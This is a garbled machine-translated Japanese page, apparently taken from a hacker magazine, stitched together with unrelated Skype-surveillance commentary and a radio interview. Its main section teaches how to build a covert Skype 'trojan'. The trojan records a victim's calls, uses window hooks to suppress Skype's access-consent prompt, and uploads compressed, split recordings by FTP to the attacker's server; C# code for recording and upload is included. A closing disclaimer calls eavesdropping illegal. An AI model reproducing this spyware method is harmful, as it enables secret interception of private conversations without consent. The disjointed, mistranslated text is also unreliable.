Skype での盗聴: VoIP 会話をバックアップするためのハッキングなアプローチ。 電話の盗聴 - 最高のスパイウェア Skype が盗聴していることを理解する方法

03.07.2023

Skype がユーザーの情報を確実に保護していることは誰もが知っています。 ただし、現在では、トラフィックの復号を意味しない Skype を聞く方法もあります。 これらの方法は「違法」な目的に使用されるだけでなく、雇用主が労働時間中の従業員の行動を完全に制御することを可能にします。


同時に、Skype プロトコルのハッキングに関するメッセージが頻繁に報道機関に掲載されます。 それでも、これらの報告がどれほど真実であるかを言うのは困難です。 Skype を聞くことは実際には非常に困難です。たとえば、一般的なネットワーク データ フロー内で Skype トラフィック パケットを分離することは比較的単純なタスクですが、このタスクでさえ、今日でも比較的少数の「ファイアウォール」によって正常に解決できます。 それはすべて、Skype プロトコルが分散構造を持っているためです。 情報の交換は実際のクライアント アプリケーション間で行われ、中央サーバーへのアクセスはそのアドレスで簡単に閉じることができるため、中央サーバーはまったく関与しません。 このため、ほとんどの企業では、職場の PC に Skype をインストールすることを単純に禁止しています。


ただし、それでも Skype トラフィックを「傍受」できたとします。 これはまだ戦いの半分ではないことを知っておく価値があります。なぜなら、このトラフィックの復号化にはまだ長い間苦労する必要があるからです。 トラフィック暗号化を使用する場合は、AES-256 が使用され、そのキーの転送には 1024 ビット RSA キーが使用されます。 このようなセットがあれば、Skype でクーデターや革命についても心配することなく議論することができます。 ここでのユーザーの公開キーは、ログイン時に 1536 または 2048 ビットの RSA 証明書を使用して Skype の中央サーバーによって認証されます。 したがって、ネットワークに接続しているときに Skype アカウントを「盗む」ことも、それほど簡単ではありません。


実際の暗号化以前から情報を傍受する手法については、その有効性には全く疑問がありません。 そのような方法は誰もが使用しています - これらは反体制派の会話を聞く権威主義政権の特別なサービスであり、さらには同僚の会話を盗聴する非常に好奇心旺盛な「オフィスプランクトン」の代表です。 場合によっては、このようなエージェントを使用して盗聴することは合法ですが、非常に多くの場合、さまざまなマルウェアと同じ方法で実装および使用されます。
また、現在 Microsoft が所有している Skype 会社自体が、いかなる政府との協力も拒否しないと保証しているため、特別なサービスはいかなる場合でも Skype にアクセスできることを強調する必要があります。 例としては、中国向けに特別に作成されたバージョンの Skype があります。 このバージョンでは、地元の情報機関が Skype 経由で送信されたメッセージを検閲できるようになります。 Skype 開発者は、そのような協力についてはあまり語らないようにしていますが、当然のことを否定するつもりもありません。

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もっと前に、キロバイトを詰め込んで何時間もテキストチャットをしなければならなかったとしたら
無制限のインターネットの普及により、情報は今、
ロシアの奥地、首都から最も離れたインターネット ユーザーでも学ぶことができる
音声コミュニケーションの楽しさ。

傍受方法

私たちは目標を決めたので、今度は退屈な理論をたくさん読む必要があります。
このような場合、先に進むのは非現実的です。 通りを歩いて、自分でカップを作りましょう
ホットワインを飲みながら、椅子に快適に座り、神聖な知識を吸収し始めます。

方法 #1

文字通り、2009 年 10 月の初めに、一人の職人が高度なスニッファーを作成しました。
これについては、World Wide Web のすべてのセキュリティ リソースに記載されています。 もしあなたが信じるなら
ニュースとスニフの作成者によると、Pepper が Skype トラフィックを傍受できたことが判明
(まあ、それは以前にもできたかもしれません)そして最も重要なことは、それを解読することです。

このような事態を避けるわけにはいかないので、すぐに探すことにしました。
大切なソースコード (スニッファーの作者はとても親切で、完全なソースコードを投稿してくれました)
Sorets)、しかし激しく折れました。 人々の敵がサブジから貴重な情報源を持ち去った
Google で 1 時間行進しても通常の結果は得られませんでした。 私だけ
いくつかの機能しない種類に遭遇しました。

かなり絶望的になったので、私はこのオプションに唾を吐きました。 ストップ! 何も起こらなかったら、
なぜ私がこんなことを言うのですか? 単純なことですが、状況は日々変化しますし、
その記事が広大な世界で公開される頃には、
クモの巣はこのトロイチックのようなものとして現れます。 あなたは、決して知らない。 学習するかどうか
切望されているソースをなんとか見つけたら、すべての切り札を手に入れたと考えてください。
これで、すべてのスカイパーがあなたのターゲットになります。

方法 #2

間違いなく、最初の方法が最善ですが、実際の実装には負担がかかります。
正直に言うと、私はすでに絶望的で、アイデア全体に鉄のボルトを付けたかったのですが、
コラム編集者は別の意見を持っていました。 いくつかのヒントの後、腎臓に2回の打撃を与え、
肝臓、私は材料を準備することを断ることができませんでした。 結局のところ、私はそうではありませんでした
無駄に。

直接ゴールに到達できない場合は、後方から行く必要があります。 それで
あなたの従順な僕がそうしたのです。 このアイデアは簡単に恥ずべきものですが、おそらくあなたはすでに
私もこの機能を何らかの目的のために使用しました。

私は裏で勝つつもりはありませんが、すべてのカードを明らかにします。 だから、私は熱く
Microsoft のお気に入りのオペレーティング システムには、ステレオ ミキサーという機能があります。
この一見役に立たない迷走のおかげで、
いくつかのプログラミング言語は本当に失敗しました
スカイプスパイ。

あなたの(または完全にではない?)システムのステレオミキサーをアクティブにすると、
マイクに送られる音声ストリームと、マイクに送られる音声ストリームの両方の影響を受けることになります。
それぞれ、スピーカー/ヘッドフォンに接続されます。 何のためか推測してください
私は傾いてますか? そう、Skype で 2 人の会話を盗むのはあなただけです
サウンドを録音するには、標準の WinAPI / オブジェクトを使用する必要があります。
マイクロフォン。

これは非常に簡単に行うことができ、以下を見て確認できます。
サイドバー 1. その中で、音声を録音する役割を果たしました。 時間をかけてください
書き直しても、すぐにはコンパイルできません。

悲しいことに、.NET Framework のすべてのパワーと無限の可能性にもかかわらず、
音声を録音するためのツールはまったくありません。 間違いなく、将来的には
このギャップはバージョンによって埋められるでしょうが、待ちきれません!

多くの .NET 開発者がアプリケーションの機能を整理する必要がある
オーディオ録音では簡単な API 呼び出しが使用されます。 良い選択ですが、
非常に不快。 私は少し違う方法を選び、発展を利用しました
マーク・ヒート。

この男は最善を尽くして、NAudio プロジェクトを作成しました。
オープンソース。 プロジェクトの一環として、Mark は次のようなフレームワークを作成しました。
さまざまな WinAPI 関数と対話して作業するのが最も便利です。
音。

NAudio は で利用できます。 ただ
そのモジュールをプロジェクトにドラッグすると、必要なすべてのモジュールにアクセスできるようになります。
クラス。 これらを使用してサウンドを録音するのは非常に簡単です。 はい、あなたもおそらくすでにその状況に陥っているでしょう。
確信している :)。

リストの最初で、WAV ファイルの形式を定義します。 このために必要なのが
チャンネル数(この場合はモノラルで書き込みます)と周波数を設定します
サンプル。 オーディオファイル形式の設定に加えて、デバイスを決定する必要があります
(デバイス番号) からサウンドをキャプチャします。 0に設定しました
「デフォルト」録音デバイスに対応します。

サウンドカードで受信したデータの次の部分について知ることができます
waveIn_DataAvaible() イベント。 それが機能した場合は、データが到着し、
記録することが必要です。

そして、最初の短所は次のとおりです

よだれを垂らして急いで Skype 用のマルウェアを作成しようとしないでください。
私が提案した方法は優れており、完全に機能しますが、
事前に知っておく必要があるいくつかの短所。 それらのいくつか:

1. ユーザーのシステムにステレオ ミキサーが搭載されているという保証はありません。
活動的になるでしょう。 はい、デフォルトで有効になっていますが、多くのユーザーは強制的に有効になっています。
消して。 何のために? 個人的には、私が書いているもののためにこれを行わなければなりません
ポッドキャストでは、音声がマイクからのみキャプチャされることが私にとって非常に重要です。
共同司会者の声ではありません。

プログラムはこの状況に対応できるようにしておく必要があります。
必要な設定を自分で行うことができます。 ここには小さなものがあります
複雑ですが、それは非常に簡単になると誰かが言いましたか?

2. 信頼でき、100% 保証できる明確なベンチマークはありません。
まさに今、ユーザーは対話者とコミュニケーションを開始しました。 の 1 つで
この問題を解決するためのコーディング フォーラムでは、次の方法が提案されています。
マイクに入ってくる音を分析し、大きな音が検出された場合には、
音波のジャンプ(つまり、人が叫んだり話し始めたりしたとき)は次のようになります。
記録。 中断するには、次のようなアルゴリズムに従う必要があります -
無音になるまで待ち、それが n 分以上続く場合は音声のキャプチャを停止します。

提案されたアルゴリズムは間違いなく優れていますが、上記の形式ではより優れています
使ってはいけません。 その理由を説明してみます。 このメソッドをそのままの形式で使用すると、
大量の誤検知に遭遇するリスクがあります。 オンの場合
敵地ではマイクはスピーカーの近くにあり、そこから絶えず音が聞こえます
ヘヴィメタルなら、あなたのトロイは常に録音し続けます、そして収穫の間
被害者のお気に入りのトラックがすべてコレクションになっていることがわかります。 何
それでやりますか? チャンスを期待して、すべてを続けて書きますか? それは可能ですが、どういうわけかそうではありません
ハッカー的なやり方で。

少しブレインストーミングを行った結果、上記のような結論に達しました
この方法は使用できますが、事前に保険を手配する必要があります。
保険には少なくとも 2 つのタイプがあります。

1. フック。 私たちの日記では、フックを使用するテクニックを繰り返し説明してきましたが、
もう一度すべての詳細を説明し、さらに例を挙げて説明します。
たくさん壊れます。 あなたはもう小さくないので、そのようなことを知っておくべきです:)。 私はただ
アルゴリズムを紹介します。

a. 新しいウィンドウの作成を処理するフックを配置します。

b. 新しく作成された各ウィンドウを処理するチェックを実装します。 の
検証コードでは、ウィンドウの親、ウィンドウのクラス、タイトルなどを確認する必要があります。
これらの兆候に基づいて、Skype 通話の着信ウィンドウを認識できます。
録音を開始します。

2. ウィンドウを操作するための機能。 問題に対する 2 番目の解決策は良いでしょう
Windows を操作するための使い慣れた WinAPI 関数。 これらをまだ覚えていますか
FindWindow、EnumWindows、EnumChildWindows などの単語? これらの API を使用すると、
着信ウィンドウの平凡な検索が実装されています。 ウィンドウが見つかった場合、これは
被害者が Skype でバザールを開始したことを意味します。そうでない場合は、
もう少し後で検索してください。 検索の頻度は最小限にする必要があります。
そうしないと、秘密の通話を見逃す危険があります。

方法 #3

そして私たちはゆっくりと、しかし確実に、最もシンプルで最も便利な方法にたどり着きました
スカイプでの会話の記録。 Skype 開発者が人々に次のことを奨励していることを知っている人はほとんどいません。
子孫のためにあらゆる種類の有用なものを開発したいという願望を持っています。 自励
公式SDKの開発と更新で表現されます。

SDK に含まれるコンポーネントに基づいて、プログラマーはアドオンを作成したり、
Skype ベースのアプリケーションだけです。 このセットの特典の一つとして
さまざまな人気のあるプログラミング言語の例の存在を強調できます。
ここには C++ と C# があり、偉大で強力な Delphi でさえも忘れられていません (ちなみに、すべての人がそうしているわけではありません)。
もちろん、Skype 自体は Delphi で書かれています)。 つまり、この SDK は天国です。
Skype をいじることに決めたプログラマーたち。

あなたや私にとって、SDK は天国よりもさらに素晴らしいものです。 この枠組みに基づいて、私たちは、
ユーザーの音声通信を録音するだけでなく、傍受することもできます
彼が送受信したテキスト メッセージ、ファイル、電話をかける
名前など

でも、私たちがこれまでに試してきたことを賞賛して、機関車より先を走るのはやめましょう。
例を使ってすべてのニュアンスを理解しましょう。

DVD を入手して SDK をインストールします。 インストールは難しくないはずです。
SDK フォルダーからファイルを実行し、求められる内容すべてに同意するだけです。
インストールが完了したら、Visual Studio (私は 2008 バージョンを使用しました) を起動し、
新しいプロジェクトを作成します。 プロジェクト タイプとして SEHEwc テンプレートを選択します。

プロジェクトの作成中に、SEHEwc テンプレートについて簡単に説明します。 率直に言って
言い換えれば、これは私たちが慣れ親しんでいる意味ではまったくテンプレートではありません。 実生活では、これで完成です。
私が賞賛した SDK のあらゆる可能性を示す例です。 デモは非常に書かれています
そのコードを理解するのは楽しいことです。

コードに入る前に、Skype を起動し、作成したプロジェクトを起動します (I
ここでテンプレートについて説明します)。 ソース コードを実行すると、Skype は忠実にレポートします。
どのような種類のアプリケーションがその機能にアクセスしようとしているのか。 さあ、そして
Skype 経由でテキスト メッセージを送信してみてください。 彼を撃つ時間はないでしょう、どうやって
送信されたすべてのテキストがテキスト ボックスに表示されます。 だということだ
デモは正常に動作します。

この例の力は否定できません。 一見するとそう思われるかもしれませんが、
彼のコードは、プログラミングに関する最も高度な質問に対する答えを提供します
スカイプ。 しかし、私たちにとって最も必要な機能は会話の録音ですが、残念なことに、これは機能しません。
実装されました。 さて、状況を解決しましょう。

コード エディターに移動し、OurCallStatus メソッドの説明を見つけます。 彼の体の中で
現在の通話に関するさまざまな情報の受信について説明します。 それはすべて良いですし、クレイジーです
興味深いですが、別のものが必要です。 既存のコードを削除し、代わりに書き直します
3箱目の中身。 書き直している間に、次のことについて話します。
そこで進行中です。

一番最初の行で変数の値をチェックして比較します。
TCallStatus 列挙値 clsInProgress のステータス (すごい、
型名の前にノスタルジックなデルフ文字 T が付きます :))。 それらが等しい場合、
会話は本格化し、音声の録音を開始します。

記録を知ったら椅子から転げ落ちないように準備をしましょう
たった 1 行で完了します:

call.set_CaptureMicDevice(TCallIoDeviceType.callIoDeviceTypeFile,
@"保存するパス" + call.Id.ToString() + ".wav");

set_captureMicDevice メソッドの最初のパラメータでは、デバイスを渡す必要があります。
マイクからのストリームが出力される場所。 デバイスタイプは次の場所に保存されます。
TCallIoDeviceType 列挙型。 サウンドをファイルにキャプチャしたいので、
callIoDeviceTypeFile. 2 番目のパラメータは最初のパラメータに依存します。 私たちの場合、それは
記録の結果を保存するファイルへのパスが渡されます。

set_captureMicDevice メソッドを呼び出すと、保存されるのは
私たちの被害者の声、そして彼女が話す人々は舞台裏に残るでしょう。 書き留める
set_OutputDevice メソッドを使用して対話者になります。

call.set_OutputDevice(TCallIoDeviceType.callIoDeviceTypeFile, @"Path
保存場所" + call.Id.ToString() + ".wav");

パラメータは前のパラメータとまったく同じなので、2 回
教えません:)

すべての準備が整っていると言えます。 プロジェクトをコンパイルして実行します。 開始時は「いいえ」
Skype での注入の承認を忘れると、何もキャプチャできなくなります。

実際の状況でアプリケーションをテストしてみましょう。 あなたのことを尋ねてください
Skype で電話して少しチャットしてくれる友達。

リストを書き直す際に細心の注意を払った場合は、
ファイルを保存するための CaptureMicDevice メソッドと set_OutputDevice メソッドは次のようになります。
焼きたての WAV が横たわっています。 プレーヤーで聴いて、すべてが揃っていることを確認してください。
正常に動作します。

SDK の使用は非常に簡単です (特に .NET で作成する場合)。
専門能力の開発においては、その機会が間違いなく求められているでしょう
スカイプロガー。

テキストメッセージを傍受する方法は教えません。
その他の役立つ情報。 これはすべて、いくつかのメソッドを呼び出すことによって行われます。
詳細に文書化されています。 ドック (もちろん英語) は、いつでも利用できます。
公式ポータル:

https://developer.skype.com/Docs/Skype4COMLib。 問題が発生した場合
英語なら動揺しないでください。 アプリケーション テンプレートのコードを見てください。 考え、
あなたはすべてを理解するでしょう。 最後の手段として、私に手紙を書いてください。

迷惑な制限

公式 SDK には、非常に大きなマイナスが 1 つあります。 を始めるとき
Skype アプリケーションは常にアラームを鳴らします。 被害者が見ればわかる
「このアプリケーションへのアクセスを許可すべきですか?」という質問が表示された奇妙なウィンドウが表示されます。
99.9% の確率で彼女が「いいえ」ボタンを押すと、あなたはそのまま残されてしまいます。 に
これは起こりませんでした。2 つのプログラムを実行することをお勧めします。1 つは実行します。
サウンド キャプチャに焦点を当て、便利な C# で書かれていますが、2 つ目は独自のものです。
ブートローダーの一種。 その主な目的は、システム内で目立たないようにすることです。
不要なウィンドウを非表示にする/ボタンを押す(これは起動承認ウィンドウに関するものです)。 を除外する
さらに、このプログローダーを通じて、すべての機能を実装することが可能になります。
リモコンなど 一般的には、アイデアはわかります。

「不要な」ウィンドウにどう対処するか?

Skype 会話をキャプチャする 2 番目と 3 番目の方法の両方で、問題が発生しました。
- 別のアプリケーションのウィンドウとの対話。 見知らぬ人たちと働くことについて言った
窓については雑誌で何度もお伝えしました(盗難に関する記事をお勧めします)
ウェブ マネー ウォレット、3 ~ 4 年前に公開)、ただし、参加したばかりの場合
私たちのパーティー、何をどうやってやるのかわからないなら、怠惰にしないで、bing.com にアクセスしてそこを見てください。
FindWindow、GetWindowText、PostMessage 関数について。 小型のソフト検索エンジン
目的の MSDN セクションにすぐに移動し、すぐに
これらの便利な機能をチェックしてください。

ファイル出力

遅かれ早かれ、収穫という別の大きな問題に直面することになります。
もちろん、被害者の会話をすべて保存するのは間違いなく良いことですが、それが何の役に立つのか
盗品を持ち去って分析できない場合はどうですか? 右、
なし。

Spy for Skype はキーロガーではないため、そのログをメールで送信するのはそれほど簡単ではありません。
送信。 音声を含むファイルは非常に重いだけでなく、
彼らのsmtpプロトコルはまったく氷ではありません。

ユーザーが座っていない場合、ファイルを出力する作業は数倍複雑になります。
無制限(はい、はい、まだそのようなものはあります)。 この場合、大きなサイズで送信すると、
ファイルの量は統計で無視できないため、これは必須です。
上級ユーザーに警告します。 特に彼が経験するとき
オンライン中に大きなブレーキがかかる。

少し考えた結果、次のアルゴリズムを思いつきました。

  1. 各ファイルを音声付きでmp3形式にエンコードします。 最初はすべての会話が
    私たちは被害者を WAV で書きましたが、これは非常に重いものです。 たとえば、平均的な
    長い会話 (約 1 時間) の距離は 50 ~ 80 メートルに達することがあります。
    設定によって異なります)。 このようなファイルをそのままの形式で送信するには、控えめに言っても、
    非現実的な。 mp3 形式に変換すると、サイズの問題が部分的に解決されます。 もしも
    最大圧縮率と最小ビットレートを設定すると、サイズが成功します
    3~4回カットします。 改善されましたが、完璧ではありません。 同じ5メートルの結論
    難しいように思えるかもしれません。
  2. ファイルをより小さな部分に分割します。 前の段落で私はこう言いました
    ファイルを mp3 にエンコードするなどの操作を行っても、問題は解決されません。
    転送。 圧縮ファイルをより小さな部分に分割して送信することをお勧めします。
    もう彼らは。 たとえば、mp3 を 300 ~ 500 Kb の断片に分割します。 そんな小さな子たち
    戦場から撤退するのがはるかに簡単かつ迅速になります。

送信するファイルの準備については、すべてを述べたようです。 早速駆け抜けていきましょう
送信方法。 上の数段落で、そのようなものを転送すると述べました
smtp はあまり正確ではなく、単純に問題があります。 どこに行くのが一番いい場所ですか
長年にわたって証明されてきた古き良き FTP! .NET アプリケーションに埋め込む
シンプルな FTP クライアント - これより簡単なものは何でしょうか? サイドバーを見て、自分の目で確かめてください。

ハッピーエンド

人間の能力には限界がなく、完璧さにも限界はありません。 解決不可能
何も問題はなく、すべての困難は克服できます。 今日はこんなことをお話しました
音声ロガーのスケルトンの構造、そしてその後の選択はあなた次第です。 また
受け取ったすべての情報を 1 つの山にまとめて、とらえどころのないスパイを作成します。
スカイプ、または法的バックアップのための専門ツールを開発する
交渉:)。 選択はあなた次第です、私はただ別れを告げてあなたを祈るだけです
幸運を!

追伸 私のトロイの木馬の完全なソースを求めないでください。 とにかく、私はそれを与えません、私は貪欲です:)。 あ
真剣に、私はそのようなことをサポートしませんし、多くの人が愚かにコンパイルすることを望んでいません
プロジェクトが完了し、戦いが始まりました。 会話を聞くというのは、
これはプライバシーの侵害であり、違法であることに加えて、これも悪質です。 またね!

警告

他人の会話を盗聴することは完全に違法です。 使用
会話のバックアップを作成するためだけに情報を受け取りました。

サイドバー 1. サウンドの録音

//録音の準備
waveIn = 新しい WaveIn();
waveIn.DeviceNumber = 0;
waveIn.DataAvailable += waveIn_DataAvailable;
intsampleRate = 8000;
int チャネル = 1;

waveIn.WaveFormat = 新しい WaveFormat(sampleRate, チャネル);
waveIn.StartRecording();

void waveIn_DataAvailable(オブジェクト送信者、WaveInEventArgs e)
{
if (recordingState == RecordingState.Recording)
Writer.WriteData(e.Buffer, 0, e.BytesRecorded);

ボックス 2. 着信通話をファイルに録音する

試す
{
// 着信を録音する
if (ステータス == TCallStatus.clsInProgress)
{
// サウンドをキャプチャして保存します
// ファイル (ユーザースレッド)
call.set_CaptureMicDevice(

@"C:\temp\sound_user" + call.Id.ToString() +
".wav");

// 音声をキャプチャして保存する
// ファイルに保存します (他のすべての対話者)
call.set_OutputDevice(
TCallIoDeviceType.callIoDeviceTypeFile、
@"C:\temp\sound_people" + call.Id.ToString() +
".wav");

}
}
catch (例外 e)
{
//エラー表示
AddTextToTextBox1(DateTime.Now.ToLocalTime() + ": " +
" 私たちのコード - 音声をキャプチャできません: " + call.Id.ToString() +
" – エラーソース: " + e.Source + " – エラーテキスト: " + e.Message +
"\r\n");

ボックス 3. Dot .NET FTP クラスに基づくクラスを使用する FTP クライアント

試す
{
FtpConnection myFtpConnection=
新しい FTPConnection();
myFtpConnection.MessageReceived +=
新しい FtpConnectionEventHandler(connection_MessageReceived);

myFtpConnection.Host =
"ftp://myftpserver";
myFtpConnection.UserName =
"ユーザー名";
myFtpConnection.Password =
"パスワード";
myFtpConnection.RemoteDirectory =
"/temp/testforxakep";
myFtpConnection.Upload(@"C:\temp\sound.part1.mp3",
"sound.part1.mp3");
}

catch(WebExceptionex)
{

}
catch (例外例)
{
Console.WriteLine(ex.ToString());
}

void connection_MessageReceived(オブジェクト送信者,
FtpConnectionEventArgs e)
{
Console.WriteLine(e.Message);

最近では、人々の間のコミュニケーションは、固定電話、モールス信号、電信などの手段だけを想像していました。 しかし今ではすでに 21 世紀が到来しており、私たちにとって特別なことは何もありません。 携帯電話、コンピューター、さまざまなガジェットはすでに私たちの生活に溢れており、おそらく私たちを驚かせるものは何もありません。 最新かつダイナミックに発展している分野の 1 つは、ビデオ コミュニケーションです。 ビデオ会議、電話会議、または単にビデオ通話は、コミュニケーションに不可欠な方法であると考えられています。

もちろん、インターネット上にはビデオ通信、さまざまなプログラム、特別なサービスがたくさんありますが、おそらく最も人気があり、手頃な価格のSkypeプログラムについて説明します。 このプログラムの最初のバージョンは 2003 年にリリースされましたが、数年後に eBay に売却され、それ以来多くの変更が加えられ、新しいサービスや会議などが追加されました。 現在、Skype は最も強力で人気のあるコミュニケーション プログラムです。

Skypeメッセンジャーの概要

今、自分自身に問いかけてみましょう: それは可能ですか? スカイプを聞く? 最近まで、私たちがインターネット上で行うことはすべて匿名で機密であると信じられていましたが、そうではありません。 最近の出来事は、オンラインであっても私たち全員が「ビッグダディ」に監視されていることを示しています)))。 では、Skype などのビデオ通話を使用する場合、どの程度安全なのでしょうか?

  • まず、プログラムがどのように動作するかを見てみましょう。 ディストリビューションを短時間インストールした後、すぐにプログラムに入り、ログイン名とパスワードを入力すると、距離が問題にならない世界にいることがわかります。 しかし、ビデオコミュニケーションはどのように機能するのでしょうか? 開発者が私たちに与えた会話を擁護する主な議論の 1 つは、すべてのデータがサーバーなどをバイパスして直接送信されるということです。 会話中に第三者は存在しません。 しかし、誰が何と言おうと、2 台のコンピュータがこの情報を受け取ります。 もちろん、送信される情報を暗号化する複雑な方法は常に改良され、最新化されているため、非常に複雑になり、場合によってはデータ送信チャネルに接続できなくなることもあります。

ソーシャル ネットワークとは異なり、Skype のメッセージと履歴はすべてユーザーのコンピューターに保存されるため、たとえログイン名とパスワードを知ったとしても、この情報を別のコンピューターから受信することは不可能であるという事実に注意していただきたいと思います。

Skype は難攻不落の要塞であることが判明しましたか? しかし、いいえ、非常に簡単で非常に効果的な方法があります。それは、ユーザーのコンピュータに特別なものをインストールすることです。 もちろん、いつでもアクセスできるわけではありませんが、そのようなプログラムのインストールにはほとんど時間がかかりません。実際、数分で十分です。これで、あなたはすでにすべてを見ることができるようになります。 プログラム、リード Skype会話の傍受、リード Skype通話の録音 mp3 形式で電子メールで送信されますが、ユーザーは自分の話を聞いているとは思いもつきません。 ただし、Skypeの開発者も警戒しており、そのようなプログラムをブロックするアップデートを常にリリースしていますが、「スパイウェア」の開発者も立ち止まらずに「子」をアップデートしていることを忘れないでください...そしてそのようなゲームは続くでしょう永遠に)))

楽しいチャットをお楽しみください:-)!

インターネット上の最新のオンライン通信手段には、VoIP テクノロジーが使用されています。 これらのテクノロジーにより、音声通話やビデオ通話のレベルでのコミュニケーションが可能になります。 特定の時点で対話者に話した内容はすべて、メーカーまたはプロバイダーサービスを提供する会社のサーバーに音声ファイルまたはビデオ形式で保存されることは明らかです。

この情報は一般に絶対機密であり、ソフトウェア開発者もインターネット アクセス サービスを提供するプロバイダーも開示する権利を持ちません。

ここで、連邦政府機関があなたのデータ、会話、ビデオ通話に完全にアクセスできると想像してください。 これはある意味、ソ連時代のKGBのサービスを彷彿とさせます。 このような法律が可決されれば、会話や通信が厳重に管理されていると知って、どれだけのユーザーが直ちに IP 電話の使用を拒否するか想像できるでしょう。 さて、あなたはどう反応しますか? せいぜい、連邦政府機関には地獄に落ちろ、ソフトウェア製品開発者には送受信データの暗号化システムを強化せよ、というのがせいぜいのことだろう。なぜなら、AES タイプの暗号化システムは今日では完全に時代遅れだからだ。

さらに見てみると、概して、 スカイプ聞くことが許されていれば、どの国の多くの立法行為にも言及することができます。 まず第一に、個人的な通信の機密性を守る権利を持つアメリカやヨーロッパに拠点を置くユーザーはこれに同意しないと思われます。 そして、政府や諜報機関には、上級当局の許可なしに個人的なメッセージ、携帯電話の通話、自宅の番号からの通話をチェックする権利はありません。

そして、通常の盗聴に対する制裁は、何らかの犯罪行為の疑いがある場合にのみ与えられる。

しかし、多くのサービスでは、Skype の聴取に関する法律の採択に関連して、彼らが言うように、彼らの手が解き放たれる状況が生まれています。 結局のところ、実際には、このアプリケーションを使用すると、最もばかげた非難さえも多くの人にもたらすことができます。 はい、ビデオと音声のフェイクはどちらも非常に初歩的に作成されます。 主なことは、適切なソフトウェアが利用できるかどうかです。

ここで、このサービスを所有するマイクロソフト自体の行動がやや理解不能になります。 プライバシーポリシーの要点の1つによると、会話に関する情報は、法執行機関の要求に応じて提供される可能性があります。 しかし現在、私たちは、ユーザーが知らないうちに、諜報機関と会話やビデオチャットとの接続に取り組んでいます。こうしたことすべてから、そのようなサービスの合法性と便宜性についていくつかの疑問が生じます。 ただし、開発者自身によると、これはそのような人気のあるソフトウェア製品を改良したものにすぎません。 とはいえ、「正当介入」の技術はすでにオーナー企業が特許を取得している。

したがって、Skype 盗聴が依然として合法であることを考慮すると、このプログラムを使用する人を、たとえば潜在的なテロリストやマニアなどに帰属すると考えることは、非常に初歩的なことになります。 違いはどこにあるのでしょうか? 連邦政府は、Skype を使用してチーム ゲームをプレイするコンピューター ゲーム愛好家と、本物のマニアやテロリストをどのように区別できるのでしょうか。

そしてまさにこのため、番組を聞いている多くの人は絶対にそれを好きではありません。 それを理解すれば、オンラインでも音声やジェスチャーを使った音声会議やビデオ会議を聞くことができます。 そうですね、役人がコントロール パネルに座っていて、そのときあなたは World Of Warcraft のようなものをプレイしていると想像してください。 カメラの前でのあなたのジェスチャーや「殺してやる!」のような叫び声に彼はどう反応するでしょうか? または「人質を取ります!」 Counter Strikeのようなゲームで。 たとえ根本的にであっても、ゲーマーはこれに同意しないだろうと嘘をつかなければなりません。 そして、私たちは、開示されるべきではない多くの情報を持っている会社員や企業について話しているのではありません...

ロシアの諜報機関は現在、裁判所命令がなくてもSkypeを盗聴してユーザーを見つけることができる。 今日、Vedomosti は、情報セキュリティ市場の参加者数名を参照しながら、これについて書いています。 特別なサービスからSkypeを聞く機能は、このサービスの新しい所有者であるMicrosoftのおかげで登場しました。 ビル・ゲイツ社はシステムを再構成し、どんなユーザーでも特別なモードに切り替えて盗聴できるようにした。 一部の大企業の経営陣は、従業員がSkypeを介して交渉することをすでに禁止していることは注目に値する。 ラジオのテーマ「ヴェスティFM」 PEAK Systemsのエグゼクティブディレクターであるマキシム・エム氏は次のようにコメントしています。

Vesti FM: マキシム、疑問が自然に生じます。実際、なぜ Microsoft は会話を聞く機能を提供し始めたのですか?

Emm: まず、それはかなり前、2012 年か 2011 年の後半に、米国政府の法執行機関の要請で起こりました。 世界中のすべての通信事業者のすべての電話会話は、特別なサービスによって盗聴される権利があるため、これは完全に論理的なステップです。 したがって、Skypeも例外ではありません。

「Vesti FM」: ロシアでは特別サービスでも聴けるのですか?

Emm: 当然、SORM-2 システムがありますが、これは完全に理解できます。 ライセンスを受け取ったすべてのオペレーターはそれに接続されます。 したがって、ここにはスーパーニュースはありません。 すべての法執行機関が裁判所の認可の下でこれを行う権利を持っているというだけです。 Skype の技術的特徴によりこれができないという事実は、一時的な省略となりました - 遅かれ早かれ、いずれにしても解決する必要がありました。

「Vesti FM」: 技術的には、すべてどのように実装されているのでしょうか?

Emm: もちろん、Skype も Microsoft も詳細を公開していません。 しかし、Microsoft が 2011 年に米国特許庁で公開した特許から判断すると、加入者間で発生することに加えて、必要に応じてオーディオおよびテキスト情報の流れを別の場所で複製できるテクノロジーが存在します。 さらに、ユーザー契約を変更し、すべての情報をサーバーに最大 30 日間保存できるようにしました。

「Vesti FM」: Skype ユーザーが何百万人いるかを計算するのは難しいため、これはもちろん驚くべきことです。 すべての会話、すべての通信に関するこのデータはすべてどこかに保存されているのでしょうか? そもそも物理的に可能なのか?

エマ:もちろん違いますよ! 法執行機関から特定の加入者を盗聴するよう要請があった場合、当然のことながら、これすべてがその加入者に対して実行され始めます。 これは、携帯電話や固定電話の聴取方法と何ら変わりません。 これにはそのようなものは何もありません。 これは犯罪を解決するための法執行機関の通常の活動です。

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